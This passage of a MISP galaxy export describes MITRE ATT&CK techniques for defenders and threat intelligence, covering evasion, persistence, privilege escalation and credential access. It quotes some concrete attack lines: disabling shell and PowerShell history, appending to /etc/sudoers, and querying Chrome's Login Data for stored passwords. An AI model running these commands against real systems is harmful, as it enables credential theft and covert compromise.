A good example of this is when malware is detected with a file signature and quarantined by anti-virus software. An adversary who can determine that the malware was quarantined because of its file signature may modify the file to explicitly avoid that signature, and then re-use the malware.

The tag is: *misp-galaxy:mitre-attack-pattern="Indicator Removal from Tools - T1027.005"*

## Exchange Email Delegate Permissions - T1098.002

Adversaries may grant additional permission levels, such as ReadPermission or FullAccess, to maintain persistent access to an adversary-controlled email account. The `Add-MailboxPermission` [PowerShell](<https://attack.mitre.org/techniques/T1059/001>) cmdlet, available in on-premises Exchange and in the cloud-based service Office 365, adds permissions to a mailbox.(Citation: Microsoft - Add-MailboxPermission)(Citation: FireEye APT35 2018)(Citation: CrowdStrike Hiding in Plain Sight 2018)

This may be used in persistent threat incidents as well as BEC (Business Email Compromise)

incidents where an adversary can assign more access rights to the accounts they wish to compromise. This may further enable use of additional techniques for gaining access to systems. For example, compromised business accounts are often used to send messages to other accounts in the network of the target business while creating inbox rules (ex: [Internal Spearphishing](<https://attack.mitre.org/techniques/T1534>)), so the messages evade spam/phishing detection mechanisms.(Citation: Bienstock, D. - Defending O365 - 2019)

## Masquerade Task or Service - T1036.004

Adversaries may attempt to manipulate the name of a task or service to make it appear legitimate or benign. Tasks/services executed by the Task Scheduler or systemd will typically be given a name and/or description.(Citation: TechNet Schtasks)(Citation: Systemd Service Units) Windows services will have a service name as well as a display name. Many benign tasks and services exist that have commonly associated names. Adversaries may give tasks or services names that are similar or identical to those of legitimate ones.

Tasks or services contain other fields, such as a description, that adversaries may attempt to make appear legitimate.(Citation: Palo Alto Shamoon Nov 2016)(Citation: Fysbis Dr Web Analysis)

## Archive via Custom Method - T1560.003

An adversary may compress or encrypt data that is collected prior to exfiltration using a custom method. Adversaries may choose to use custom archival methods, such as encryption with XOR or stream ciphers implemented with no external library or utility references. Custom implementations of well-known compression algorithms have also been used.(Citation: ESET Sednit Part 2)

## Extra Window Memory Injection - T1055.011

Adversaries may inject malicious code into process via Extra Window Memory (EWM) in order to evade process-based defenses as well as possibly elevate privileges. EWM injection is a method of executing arbitrary code in the address space of a separate live process.

Before creating a window, graphical Windows-based processes must prescribe to or register a windows class, which stipulate appearance and behavior (via windows procedures, which are functions that handle input/output of data).(Citation: Microsoft Window Classes) Registration of new windows classes can include a request for up to 40 bytes of EWM to be appended to the allocated memory of each instance of that class. This EWM is intended to store data specific to that window and has specific application programming interface (API) functions to set and get its value. (Citation: Microsoft GetWindowLong function) (Citation: Microsoft SetWindowLong function)

Although small, the EWM is large enough to store a 32-bit pointer and is often used to point to a windows procedure. Malware may possibly utilize this memory location in part of an attack chain that includes writing code to shared sections of the process's memory, placing a pointer to the code in EWM, then invoking execution by returning execution control to the address in the process's EWM.

Execution granted through EWM injection may allow access to both the target process's memory and possibly elevated privileges. Writing payloads to shared sections also avoids the use of highly monitored API calls such as `WriteProcessMemory` and `CreateRemoteThread`.(Citation: Endgame Process Injection July 2017) More sophisticated malware samples may also potentially bypass protection mechanisms such as data execution prevention (DEP) by triggering a combination of windows procedures and other system functions that will rewrite the malicious payload inside an executable portion of the target process. (Citation: MalwareTech Power Loader Aug 2013) (Citation: WeLiveSecurity Gapz and Redyms Mar 2013)

Running code in the context of another process may allow access to the process's memory, system/network resources, and possibly elevated privileges. Execution via EWM injection may also

evade detection from security products since the execution is masked under a legitimate process.

## Create Process with Token - T1134.002

Adversaries may create a new process with a duplicated token to escalate privileges and bypass access controls. An adversary can duplicate a desired access token with `DuplicateToken(Ex)` and use it with `CreateProcessWithTokenW` to create a new process running under the security context of the impersonated user. This is useful for creating a new process under the security context of a different user.

The tag is: *misp-galaxy:mitre-attack-pattern="Create Process with Token - T1134.002"*

## Disable or Modify Tools - T1562.001

Adversaries may disable security tools to avoid possible detection of their tools and activities. This can take the form of killing security software or event logging processes, deleting Registry keys so that tools do not start at run time, or other methods to interfere with security tools scanning or reporting information.

The tag is: *misp-galaxy:mitre-attack-pattern="Disable or Modify Tools - T1562.001"*

Table 2293. Table References

## Compromise Software Supply Chain - T1195.002

Adversaries may manipulate application software prior to receipt by a final consumer for the purpose of data or system compromise. Supply chain compromise of software can take place in a number of ways, including manipulation of the application source code, manipulation of the update/distribution mechanism for that software, or replacing compiled releases with a modified version.

Targeting may be specific to a desired victim set or may be distributed to a broad set of consumers but only move on to additional tactics on specific victims.(Citation: Avast CCleaner3 2018) (Citation: Command Five SK 2011)

## Make and Impersonate Token - T1134.003

Adversaries may make and impersonate tokens to escalate privileges and bypass access controls. If an adversary has a username and password but the user is not logged onto the system, the adversary can then create a logon session for the user using the `LogonUser` function. The function will return a copy of the new session's access token and the adversary can use `SetThreadToken` to assign the token to a thread.

The tag is: *misp-galaxy:mitre-attack-pattern="Make and Impersonate Token - T1134.003"*

## Compromise Hardware Supply Chain - T1195.003

Adversaries may manipulate hardware components in products prior to receipt by a final consumer for the purpose of data or system compromise. By modifying hardware or firmware in the supply chain, adversaries can insert a backdoor into consumer networks that may be difficult to

detect and give the adversary a high degree of control over the system. Hardware backdoors may be inserted into various devices, such as servers, workstations, network infrastructure, or peripherals.

The tag is: *misp-galaxy:mitre-attack-pattern="Compromise Hardware Supply Chain - T1195.003"*

Table 2296. Table References

## Change Default File Association - T1546.001

Adversaries may establish persistence by executing malicious content triggered by a file type association. When a file is opened, the default program used to open the file (also called the file association or handler) is checked. File association selections are stored in the Windows Registry and can be edited by users, administrators, or programs that have Registry access (Citation: Microsoft Change Default Programs) (Citation: Microsoft File Handlers) or by administrators using the built-in assoc utility. (Citation: Microsoft Assoc Oct 2017) Applications can modify the file association for a given file extension to call an arbitrary program when a file with the given extension is opened.

System file associations are listed under `HKEY_CLASSES_ROOT\[extension]`, for example `HKEY_CLASSES_ROOT\.txt`. The entries point to a handler for that extension located at `HKEY_CLASSES_ROOT\[handler]`. The various commands are then listed as subkeys underneath the shell key at `HKEY_CLASSES_ROOT\[handler]\shell[action]\command`. For example:

- `HKEY_CLASSES_ROOT\txtfile\shell\open\command` \*
- `HKEY_CLASSES_ROOT\txtfile\shell\print\command` \*
- `HKEY_CLASSES_ROOT\txtfile\shell\printto\command`

The values of the keys listed are commands that are executed when the handler opens the file extension. Adversaries can modify these values to continually execute arbitrary commands. (Citation: TrendMicro TROJ-FAKEAV OCT 2012)

## Hidden Files and Directories - T1564.001

Adversaries may set files and directories to be hidden to evade detection mechanisms. To prevent normal users from accidentally changing special files on a system, most operating systems have the concept of a 'hidden' file. These files don't show up when a user browses the file system with a GUI or when using normal commands on the command line. Users must explicitly ask to show the hidden files either via a series of Graphical User Interface (GUI) prompts or with command line switches (`dir /a` for Windows and `ls -a` for Linux and macOS).

On Linux and Mac, users can mark specific files as hidden simply by putting a "." as the first character in the file or folder name (Citation: Sofacy Komplex Trojan) (Citation: Antiquated Mac Malware). Files and folders that start with a period, '.', are by default hidden from being viewed in the Finder application and standard command-line utilities like "ls". Users must specifically change settings to have these files viewable.

Files on macOS can also be marked with the UF\_HIDDEN flag which prevents them from being seen in Finder.app, but still allows them to be seen in Terminal.app (Citation: WireLurker). On Windows, users can mark specific files as hidden by using the attrib.exe binary. Many applications create these hidden files and folders to store information so that it doesn't clutter up the user's workspace. For example, SSH utilities create a .ssh folder that's hidden and contains the user's known hosts and keys.

Adversaries can use this to their advantage to hide files and folders anywhere on the system and evading a typical user or system analysis that does not incorporate investigation of hidden files.

## DLL Search Order Hijacking - T1574.001

Adversaries may execute their own malicious payloads by hijacking the search order used to load DLLs. Windows systems use a common method to look for required DLLs to load into a program. (Citation: Microsoft Dynamic Link Library Search Order) Hijacking DLL loads may be for the purpose of establishing persistence as well as elevating privileges and/or evading restrictions on file execution.

There are many ways an adversary can hijack DLL loads. Adversaries may plant trojan dynamic-link library files (DLLs) in a directory that will be searched before the location of a legitimate library that will be requested by a program, causing Windows to load their malicious library when it is called for by the victim program. Adversaries may also perform DLL preloading, also called

binary planting attacks, (Citation: OWASP Binary Planting) by placing a malicious DLL with the same name as an ambiguously specified DLL in a location that Windows searches before the legitimate DLL. Often this location is the current working directory of the program. Remote DLL preloading attacks occur when a program sets its current directory to a remote location such as a Web share before loading a DLL. (Citation: Microsoft Security Advisory 2269637)

Adversaries may also directly modify the way a program loads DLLs by replacing an existing DLL or modifying a .manifest or .local redirection file, directory, or junction to cause the program to load a different DLL. (Citation: Microsoft Dynamic-Link Library Redirection) (Citation: Microsoft Manifests) (Citation: FireEye DLL Search Order Hijacking)

If a search order-vulnerable program is configured to run at a higher privilege level, then the adversary-controlled DLL that is loaded will also be executed at the higher level. In this case, the technique could be used for privilege escalation from user to administrator or SYSTEM or from administrator to SYSTEM, depending on the program. Programs that fall victim to path hijacking may appear to behave normally because malicious DLLs may be configured to also load the legitimate DLLs they were meant to replace.

## Services File Permissions Weakness - T1574.010

Adversaries may execute their own malicious payloads by hijacking the binaries used by services. Adversaries may use flaws in the permissions of Windows services to replace the binary that is executed upon service start. These service processes may automatically execute specific binaries as part of their functionality or to perform other actions. If the permissions on the file system directory containing a target binary, or permissions on the binary itself are improperly set, then the target binary may be overwritten with another binary using user-level permissions and executed by the original process. If the original process and thread are running under a higher permissions level, then the replaced binary will also execute under higher-level permissions, which could include SYSTEM.

Adversaries may use this technique to replace legitimate binaries with malicious ones as a means

of executing code at a higher permissions level. If the executing process is set to run at a specific time or during a certain event (e.g., system bootup) then this technique can also be used for persistence.

## Exfiltration to Code Repository - T1567.001

Adversaries may exfiltrate data to a code repository rather than over their primary command and control channel. Code repositories are often accessible via an API (ex: <https://api.github.com>). Access to these APIs are often over HTTPS, which gives the adversary an additional level of protection.

Exfiltration to a code repository can also provide a significant amount of cover to the adversary if it is a popular service already used by hosts within the network.

## Network Address Translation Traversal - T1599.001

Adversaries may bridge network boundaries by modifying a network device's Network Address Translation (NAT) configuration. Malicious modifications to NAT may enable an adversary to bypass restrictions on traffic routing that otherwise separate trusted and untrusted networks.

Network devices such as routers and firewalls that connect multiple networks together may implement NAT during the process of passing packets between networks. When performing NAT, the network device will rewrite the source and/or destination addresses of the IP address header. Some network designs require NAT for the packets to cross the border device. A typical example of this is environments where internal networks make use of non-Internet routable addresses.(Citation: RFC1918)

When an adversary gains control of a network boundary device, they can either leverage existing NAT configurations to send traffic between two separated networks, or they can implement NAT configurations of their own design. In the case of network designs that require NAT to function, this enables the adversary to overcome inherent routing limitations that would normally prevent them from accessing protected systems behind the border device. In the case of network designs that do not require NAT, address translation can be used by adversaries to obscure their activities, as changing the addresses of packets that traverse a network boundary device can make monitoring

data transmissions more challenging for defenders.

Adversaries may use [Patch System Image](<https://attack.mitre.org/techniques/T1601/001>) to change the operating system of a network device, implementing their own custom NAT mechanisms to further obscure their activities

## Disable Windows Event Logging - T1562.002

Adversaries may disable Windows event logging to limit data that can be leveraged for detections and audits. Windows event logs record user and system activity such as login attempts, process creation, and much more.(Citation: Windows Log Events) This data is used by security tools and analysts to generate detections.

Adversaries may targeting system-wide logging or just that of a particular application. By disabling Windows event logging, adversaries can operate while leaving less evidence of a compromise behind.

The tag is: *misp-galaxy:mitre-attack-pattern="Disable Windows Event Logging - T1562.002"*

## Impair Command History Logging - T1562.003

Adversaries may impair command history logging to hide commands they run on a compromised system. Various command interpreters keep track of the commands users type in their terminal so that users can retrace what they've done.

On Linux and macOS, command history is tracked in a file pointed to by the environment variable `HISTFILE`. When a user logs off a system, this information is flushed to a file in the user's home directory called `~/.bash_history`. The `HISTCONTROL` environment variable keeps track of what should be saved by the `history` command and eventually into the `~/.bash_history` file when a user logs out. `HISTCONTROL` does not exist by default on macOS, but can be set by the user and will be respected.

Adversaries may clear the history environment variable (`unset HISTFILE`) or set the command history size to zero (`export HISTFILESIZE=0`) to prevent logging of

commands. Additionally, `HISTCONTROL` can be configured to ignore commands that start with a space by simply setting it to "ignoreospace". `HISTCONTROL` can also be set to ignore duplicate commands by setting it to "ignoredups". In some Linux systems, this is set by default to "ignoreboth" which covers both of the previous examples. This means that "ls" will not be saved, but "ls" would be saved by history. Adversaries can abuse this to operate without leaving traces by simply prepending a space to all of their terminal commands.

On Windows systems, the `PSReadLine` module tracks commands used in all PowerShell sessions and writes them to a file (`$env:APPDATA\Microsoft\Windows\PowerShell\PSReadLine\ConsoleHost_history.txt` by default). Adversaries may change where these logs are saved using `Set-PSReadLineOption -HistorySavePath {File Path}`. This will cause `ConsoleHost_history.txt` to stop receiving logs. Additionally, it is possible to turn off logging to this file using the PowerShell command `Set-PSReadlineOption -HistorySaveStyle SaveNothing`. (Citation: Microsoft PowerShell Command History)(Citation: Sophos PowerShell command audit)(Citation: Sophos PowerShell Command History Forensics)

The tag is: *misp-galaxy:mitre-attack-pattern="Impair Command History Logging - T1562.003"*

## Bypass User Account Control - T1548.002

Adversaries may bypass UAC mechanisms to elevate process privileges on system. Windows User Account Control (UAC) allows a program to elevate its privileges (tracked as integrity levels ranging from low to high) to perform a task under administrator-level permissions, possibly by prompting the user for confirmation. The impact to the user ranges from denying the operation under high enforcement to allowing the user to perform the action if they are in the local administrators group and click through the prompt or allowing them to enter an administrator password to complete the action. (Citation: TechNet How UAC Works)

If the UAC protection level of a computer is set to anything but the highest level, certain Windows programs can elevate privileges or execute some elevated [Component Object Model](<https://attack.mitre.org/techniques/T1559/001>) objects without prompting the user through the UAC notification box. (Citation: TechNet Inside UAC) (Citation: MSDN COM Elevation) An example of this is use of [Rundll32](<https://attack.mitre.org/techniques/T1218/011>) to load a specifically crafted DLL which loads an auto-elevated [Component Object Model](<https://attack.mitre.org/techniques/T1559/001>) object and performs a file operation in a

protected directory which would typically require elevated access. Malicious software may also be injected into a trusted process to gain elevated privileges without prompting a user.(Citation: Davidson Windows)

Many methods have been discovered to bypass UAC. The Github readme page for UACME contains an extensive list of methods(Citation: Github UACMe) that have been discovered and implemented, but may not be a comprehensive list of bypasses. Additional bypass methods are regularly discovered and some used in the wild, such as:

- `eventvwr.exe` can auto-elevate and execute a specified binary or script.(Citation: enigma0x3 Fileless UAC Bypass)(Citation: Fortinet Fareit)

Another bypass is possible through some lateral movement techniques if credentials for an account with administrator privileges are known, since UAC is a single system security mechanism, and the privilege or integrity of a process running on one system will be unknown on remote systems and default to high integrity.(Citation: SANS UAC Bypass)

## User Activity Based Checks - T1497.002

Adversaries may employ various user activity checks to detect and avoid virtualization and analysis environments. This may include changing behaviors based on the results of checks for the presence of artifacts indicative of a virtual machine environment (VME) or sandbox. If the adversary detects a VME, they may alter their malware to disengage from the victim or conceal the core functions of the implant. They may also search for VME artifacts before dropping secondary or additional payloads. Adversaries may use the information learned from [Virtualization/Sandbox Evasion](<https://attack.mitre.org/techniques/T1497>) during automated discovery to shape follow-on behaviors.

Adversaries may search for user activity on the host based on variables such as the speed/frequency of mouse movements and clicks (Citation: Sans Virtual Jan 2016) , browser history, cache, bookmarks, or number of files in common directories such as home or the desktop. Other methods may rely on specific user interaction with the system before the malicious code is activated, such as waiting for a document to close before activating a macro (Citation: Unit 42 Sofacy Nov 2018) or waiting for a user to double click on an embedded image to activate.(Citation: FireEye FIN7 April 2017)

## Cloud Instance Metadata API - T1552.005

Adversaries may attempt to access the Cloud Instance Metadata API to collect credentials and other sensitive data.

Most cloud service providers support a Cloud Instance Metadata API which is a service provided to running virtual instances that allows applications to access information about the running virtual instance. Available information generally includes name, security group, and additional metadata including sensitive data such as credentials and UserData scripts that may contain additional secrets. The Instance Metadata API is provided as a convenience to assist in managing applications and is accessible by anyone who can access the instance.(Citation: AWS Instance Metadata API) A cloud metadata API has been used in at least one high profile compromise.(Citation: Krebs Capital One August 2019)

If adversaries have a presence on the running virtual instance, they may query the Instance Metadata API directly to identify credentials that grant access to additional resources. Additionally, attackers may exploit a Server-Side Request Forgery (SSRF) vulnerability in a public facing web proxy that allows the attacker to gain access to the sensitive information via a request to the Instance Metadata API.(Citation: RedLock Instance Metadata API 2018)

The de facto standard across cloud service providers is to host the Instance Metadata API at `http[:]//169.254.169.254</code>.`

## Exfiltration to Cloud Storage - T1567.002

Adversaries may exfiltrate data to a cloud storage service rather than over their primary command and control channel. Cloud storage services allow for the storage, edit, and retrieval of data from a remote cloud storage server over the Internet.

Examples of cloud storage services include Dropbox and Google Docs. Exfiltration to these cloud storage services can provide a significant amount of cover to the adversary if hosts within the network are already communicating with the service.

The tag is: *misp-galaxy:mitre-attack-pattern="Exfiltration to Cloud Storage - T1567.002"*

Table 2308. Table References

Links

<https://attack.mitre.org/techniques/T1567/002>

## Sudo and Sudo Caching - T1548.003

Adversaries may perform sudo caching and/or use the sudoers file to elevate privileges. Adversaries may do this to execute commands as other users or spawn processes with higher privileges.

Within Linux and MacOS systems, sudo (sometimes referred to as "superuser do") allows users to perform commands from terminals with elevated privileges and to control who can perform these commands on the system. The `sudo` command "allows a system administrator to delegate authority to give certain users (or groups of users) the ability to run some (or all) commands as root or another user while providing an audit trail of the commands and their arguments."(Citation: sudo man page 2018) Since sudo was made for the system administrator, it has some useful configuration features such as a `timestamp_timeout`, which is the amount of time in minutes between instances of `sudo` before it will re-prompt for a password. This is because `sudo` has the ability to cache credentials for a period of time. Sudo creates (or touches) a file at `/var/db/sudo` with a timestamp of when sudo was last run to determine this timeout. Additionally, there is a `tty_tickets` variable that treats each new tty (terminal session) in isolation. This means that, for example, the sudo timeout of one tty will not affect another tty (you will have to type the password again).

The sudoers file, `/etc/sudoers`, describes which users can run which commands and from which terminals. This also describes which commands users can run as other users or groups. This provides the principle of least privilege such that users are running in their lowest possible permissions for most of the time and only elevate to other users or permissions as needed, typically by prompting for a password. However, the sudoers file can also specify when to not prompt users for passwords with a line like `user1 ALL=(ALL) NOPASSWD: ALL` (Citation: OSX.Dok Malware). Elevated privileges are required to edit this file though.

Adversaries can also abuse poor configurations of these mechanisms to escalate privileges without needing the user's password. For example, `/var/db/sudo`'s timestamp can be monitored to see if it falls within the `timestamp_timeout` range. If it does, then malware can execute sudo commands without needing to supply the user's password. Additionally, if `tty_tickets` is disabled, adversaries can do this from any tty for that user.

In the wild, malware has disabled `tty_tickets` to potentially make scripting easier by issuing `echo 'Defaults !tty_tickets' >> /etc/sudoers` (Citation: cybereason osx proton). In order for this change to be reflected, the malware also issued `killall Terminal`. As of macOS Sierra, the sudoers file has `tty_tickets` enabled by default.

## Credentials from Web Browsers - T1555.003

Adversaries may acquire credentials from web browsers by reading files specific to the target browser. (Citation: Talos Olympic Destroyer 2018) Web browsers commonly save credentials such as website usernames and passwords so that they do not need to be entered manually in the future. Web browsers typically store the credentials in an encrypted format within a credential store; however, methods exist to extract plaintext credentials from web browsers.

For example, on Windows systems, encrypted credentials may be obtained from Google Chrome by reading a database file, `AppData\Local\Google\Chrome\User Data\Default>Login Data` and executing a SQL query: `SELECT action_url, username_value, password_value FROM logins;`. The plaintext password can then be obtained by passing the encrypted credentials to the Windows API function `CryptUnprotectData`, which uses the victim's cached logon credentials as the decryption key. (Citation: Microsoft CryptUnprotectData April 2018)

Adversaries have executed similar procedures for common web browsers such as Firefox, Safari, Edge, etc. (Citation: Proofpoint Vega Credential Stealer May 2018)(Citation: FireEye HawkEye Malware July 2017)

Adversaries may also acquire credentials by searching web browser process memory for patterns that commonly match credentials. (Citation: GitHub Mimikittenz July 2016)

After acquiring credentials from web browsers, adversaries may attempt to recycle the credentials across different systems and/or accounts in order to expand access. This can result in significantly furthering an adversary's objective in cases where credentials gained from web browsers overlap with privileged accounts (e.g. domain administrator).

## Elevated Execution with Prompt - T1548.004

Adversaries may leverage the `AuthorizationExecuteWithPrivileges` API to escalate privileges by prompting the user for credentials.(Citation: AppleDocs AuthorizationExecuteWithPrivileges) The purpose of this API is to give application developers an easy way to perform operations with root privileges, such as for application installation or updating. This API does not validate that the program requesting root privileges comes from a reputable source or has been maliciously modified.

Although this API is deprecated, it still fully functions in the latest releases of macOS. When calling this API, the user will be prompted to enter their credentials but no checks on the origin or integrity of the program are made. The program calling the API may also load world writable files which can be modified to perform malicious behavior with elevated privileges.

Adversaries may abuse `AuthorizationExecuteWithPrivileges` to obtain root privileges in order to install malicious software on victims and install persistence mechanisms.(Citation: Death by 1000 installers; it's all broken!)(Citation: Carbon Black Shlayer Feb 2019)(Citation: OSX Coldroot RAT) This technique may be combined with [Masquerading](<https://attack.mitre.org/techniques/T1036>) to trick the user into granting escalated privileges to malicious code.(Citation: Death by 1000 installers; it's all broken!)(Citation: Carbon Black Shlayer Feb 2019) This technique has also been shown to work by modifying legitimate programs present on the machine that make use of this API.(Citation: Death by 1000 installers; it's all broken!)

## Application or System Exploitation - T1499.004

Adversaries may exploit software vulnerabilities that can cause an application or system to crash and deny availability to users. (Citation: Sucuri BIND9 August 2015) Some systems may automatically restart critical applications and services when crashes occur, but they can likely be re-exploited to cause a persistent DoS condition.

The tag is: *misp-galaxy:mitre-attack-pattern="Application or System Exploitation - T1499.004"*

## Kernel Modules and Extensions - T1547.006

Adversaries may modify the kernel to automatically execute programs on system boot. Loadable Kernel Modules (LKMs) are pieces of code that can be loaded and unloaded into the kernel upon demand. They extend the functionality of the kernel without the need to reboot the system. For example, one type of module is the device driver, which allows the kernel to access hardware connected to the system. (Citation: Linux Kernel Programming)

When used maliciously, LKMs can be a type of kernel-mode [Rootkit](<https://attack.mitre.org/techniques/T1014>) that run with the highest operating system privilege (Ring 0). (Citation: Linux Kernel Module Programming Guide) Common features of LKM based rootkits include: hiding itself, selective hiding of files, processes and network activity, as well as log tampering, providing authenticated backdoors and enabling root access to non-privileged users. (Citation: iDefense Rootkit Overview)

Kernel extensions, also called kext, are used for macOS to load functionality onto a system similar to LKMs for Linux. They are loaded and unloaded through `kextload` and `kextunload` commands.

Adversaries can use LKMs and kexts to covertly persist on a system and elevate privileges. Examples have been found in the wild and there are some open source projects. (Citation: Volatility Phalanx2) (Citation: CrowdStrike Linux Rootkit) (Citation: GitHub Reptile) (Citation: GitHub Diamorphine)(Citation: RSAC 2015 San Francisco Patrick Wardle) (Citation: Synack Secure Kernel Extension Broken)(Citation: Securelist Ventir) (Citation: Trend Micro Skidmap)

## Services Registry Permissions Weakness - T1574.011

Adversaries may execute their own malicious payloads by hijacking the Registry entries used by services. Adversaries may use flaws in the permissions for registry to redirect from the originally specified executable to one that they control, in order to launch their own code at Service start. Windows stores local service configuration information in the Registry under `HKLM\SYSTEM\CurrentControlSet\Services`. The information stored under a service's Registry keys can be manipulated to modify a service's execution parameters through tools such as the service controller, `sc.exe`, [PowerShell](<https://attack.mitre.org/techniques/T1059/001>), or [Reg](<https://attack.mitre.org/software/S0075>). Access to Registry keys is controlled through Access Control Lists and permissions. (Citation: Registry Key Security)

If the permissions for users and groups are not properly set and allow access to the Registry keys for a service, then adversaries can change the service `binPath/ImagePath` to point to a different executable under their control. When the service starts or is restarted, then the adversary-controlled program will execute, allowing the adversary to gain persistence and/or privilege escalation to the account context the service is set to execute under (local/domain account, SYSTEM, LocalService, or NetworkService).

Adversaries may also alter Registry keys associated with service failure parameters (such as `FailureCommand`) that may be executed in an elevated context anytime the service fails or is intentionally corrupted.(Citation: Kansa Service related collectors)(Citation: Tweet Registry Perms Weakness)

## Component Object Model Hijacking - T1546.015

Adversaries may establish persistence by executing malicious content triggered by hijacked references to Component Object Model (COM) objects. COM is a system within Windows to enable interaction between software components through the operating system.(Citation: Microsoft Component Object Model) References to various COM objects are stored in the Registry.

Adversaries can use the COM system to insert malicious code that can be executed in place of legitimate software through hijacking the COM references and relationships as a means for persistence. Hijacking a COM object requires a change in the Registry to replace a reference to a legitimate system component which may cause that component to not work when executed. When that system component is executed through normal system operation the adversary's code will be executed instead.(Citation: GDATA COM Hijacking) An adversary is likely to hijack objects that are used frequently enough to maintain a consistent level of persistence, but are unlikely to break noticeable functionality within the system as to avoid system instability that could lead to detection.

## Deobfuscate/Decode Files or Information - T1140

Adversaries may use [Obfuscated Files or Information](<https://attack.mitre.org/techniques/T1027>) to hide artifacts of an intrusion from analysis. They may require separate mechanisms to decode or deobfuscate that information depending on how they intend to use it. Methods for doing that include built-in functionality of malware or by using utilities present on the system.

One such example is use of [certutil](<https://attack.mitre.org/software/S0160>) to decode a remote access tool portable executable file that has been hidden inside a certificate file. (Citation: Malwarebytes Targeted Attack against Saudi Arabia) Another example is using the Windows `copy /b` command to reassemble binary fragments into a malicious payload. (Citation: Carbon Black Obfuscation Sept 2016)

Sometimes a user's action may be required to open it for deobfuscation or decryption as part of [User Execution](<https://attack.mitre.org/techniques/T1204>). The user may also be required to input a password to open a password protected compressed/encrypted file that was provided by the adversary. (Citation: Volexity PowerDuke November 2016)

<a href="https://attack.mitre.org/techniques/T1005">https://attack.mitre.org/techniques/T1005</a>

## Indicator Removal on Host - T1070

Adversaries may delete or alter generated artifacts on a host system, including logs or captured files such as quarantined malware. Locations and format of logs are platform or product-specific, however standard operating system logs are captured as Windows events or Linux/macOS files such as [Bash History](<https://attack.mitre.org/techniques/T1139>) and `/var/log/*`.

These actions may interfere with event collection, reporting, or other notifications used to detect intrusion activity. This that may compromise the integrity of security solutions by causing notable events to go unreported. This activity may also impede forensic analysis and incident response, due to lack of sufficient data to determine what occurred.

The tag is: *misp-galaxy:mitre-attack-pattern="Indicator Removal on Host - T1070"*

## Exploitation of Remote Services - T1210

Adversaries may exploit remote services to gain unauthorized access to internal systems once inside of a network. Exploitation of a software vulnerability occurs when an adversary takes advantage of a programming error in a program, service, or within the operating system software or kernel itself to execute adversary-controlled code. A common goal for post-compromise exploitation of remote services is for lateral movement to enable access to a remote system.

An adversary may need to determine if the remote system is in a vulnerable state, which may be

done through [Network Service Scanning](<https://attack.mitre.org/techniques/T1046>) or other Discovery methods looking for common, vulnerable software that may be deployed in the network, the lack of certain patches that may indicate vulnerabilities, or security software that may be used to detect or contain remote exploitation. Servers are likely a high value target for lateral movement exploitation, but endpoint systems may also be at risk if they provide an advantage or access to additional resources.

There are several well-known vulnerabilities that exist in common services such as SMB (Citation: CIS Multiple SMB Vulnerabilities) and RDP (Citation: NVD CVE-2017-0176) as well as applications that may be used within internal networks such as MySQL (Citation: NVD CVE-2016-6662) and web server services. (Citation: NVD CVE-2014-7169)

Depending on the permissions level of the vulnerable remote service an adversary may achieve [Exploitation for Privilege Escalation](<https://attack.mitre.org/techniques/T1068>) as a result of lateral movement exploitation as well.

## System Network Configuration Discovery - T1016

Adversaries may look for details about the network configuration and settings of systems they access or through information discovery of remote systems. Several operating system administration utilities exist that can be used to gather this information. Examples include [Arp](<https://attack.mitre.org/software/S0099>), [ipconfig]([ifconfig](https://attack.mitre.org/software/S0101)(<https://attack.mitre.org/software/S0101>), [nbtstat](<https://attack.mitre.org/software/S0102>), and [route](<https://attack.mitre.org/software/S0103>).

Adversaries may use the information from [System Network Configuration Discovery](<https://attack.mitre.org/techniques/T1016>) during automated discovery to shape follow-on behaviors, including whether or not the adversary fully infects the target and/or attempts specific actions.

The tag is: *misp-galaxy:mitre-attack-pattern="System Network Configuration Discovery - T1016"*

## Replication Through Removable Media - T1091

Adversaries may move onto systems, possibly those on disconnected or air-gapped networks, by copying malware to removable media and taking advantage of Autorun features when the media is inserted into a system and executes. In the case of Lateral Movement, this may occur through modification of executable files stored on removable media or by copying malware and renaming it to look like a legitimate file to trick users into executing it on a separate system. In the case of Initial Access, this may occur through manual manipulation of the media, modification of systems used to initially format the media, or modification to the media's firmware itself.

The tag is: *misp-galaxy:mitre-attack-pattern="Replication Through Removable Media - T1091"*

Table 2326. Table References

Links

<https://attack.mitre.org/techniques/T1091>

## Exploitation for Client Execution - T1203

Adversaries may exploit software vulnerabilities in client applications to execute code. Vulnerabilities can exist in software due to unsecure coding practices that can lead to unanticipated behavior. Adversaries can take advantage of certain vulnerabilities through targeted exploitation for the purpose of arbitrary code execution. Oftentimes the most valuable exploits to an offensive toolkit are those that can be used to obtain code execution on a remote system because they can be used to gain access to that system. Users will expect to see files related to the applications they commonly used to do work, so they are a useful target for exploit research and development because of their high utility.

Several types exist:

### Browser-based Exploitation

Web browsers are a common target through [Drive-by Compromise](<https://attack.mitre.org/techniques/T1189>) and [Spearphishing Link](<https://attack.mitre.org/techniques/T1566/002>). Endpoint systems may be compromised through normal web browsing or from certain users being targeted by links in spearphishing emails to adversary controlled sites used to exploit the web browser. These often do not require an action by the user for the exploit to be executed.

### Office Applications

Common office and productivity applications such as Microsoft Office are also targeted through [Phishing](<https://attack.mitre.org/techniques/T1566>). Malicious files will be transmitted directly as attachments or through links to download them. These require the user to open the document or file for the exploit to run.

# Common Third-party Applications

Other applications that are commonly seen or are part of the software deployed in a target network may also be used for exploitation. Applications such as Adobe Reader and Flash, which are common in enterprise environments, have been routinely targeted by adversaries attempting to gain access to systems. Depending on the software and nature of the vulnerability, some may be exploited in the browser or require the user to open a file. For instance, some Flash exploits have been delivered as objects within Microsoft Office documents.

The tag is: *misp-galaxy:mitre-attack-pattern="Exploitation for Client Execution - T1203"*

Table 2327. Table References

Links
<a href="https://attack.mitre.org/techniques/T1203">https://attack.mitre.org/techniques/T1203</a>

## Change Default File Association - T1042

When a file is opened, the default program used to open the file (also called the file association or handler) is checked. File association selections are stored in the Windows Registry and can be edited by users, administrators, or programs that have Registry access (Citation: Microsoft Change Default Programs) (Citation: Microsoft File Handlers) or by administrators using the built-in assoc utility. (Citation: Microsoft Assoc Oct 2017) Applications can modify the file association for a given file extension to call an arbitrary program when a file with the given extension is opened.

System file associations are listed under `HKEY_CLASSES_ROOT\[extension]`, for example `HKEY_CLASSES_ROOT\.txt`. The entries point to a handler for that extension located at `HKEY_CLASSES_ROOT\[handler]`. The various commands are then listed as subkeys underneath the shell key at `HKEY_CLASSES_ROOT\[handler]\shell[action]\command`. For example:

- `HKEY_CLASSES_ROOT\txtfile\shell\open\command` \*
- `HKEY_CLASSES_ROOT\txtfile\shell\print\command` \*
- `HKEY_CLASSES_ROOT\txtfile\shell\printto\command` \*

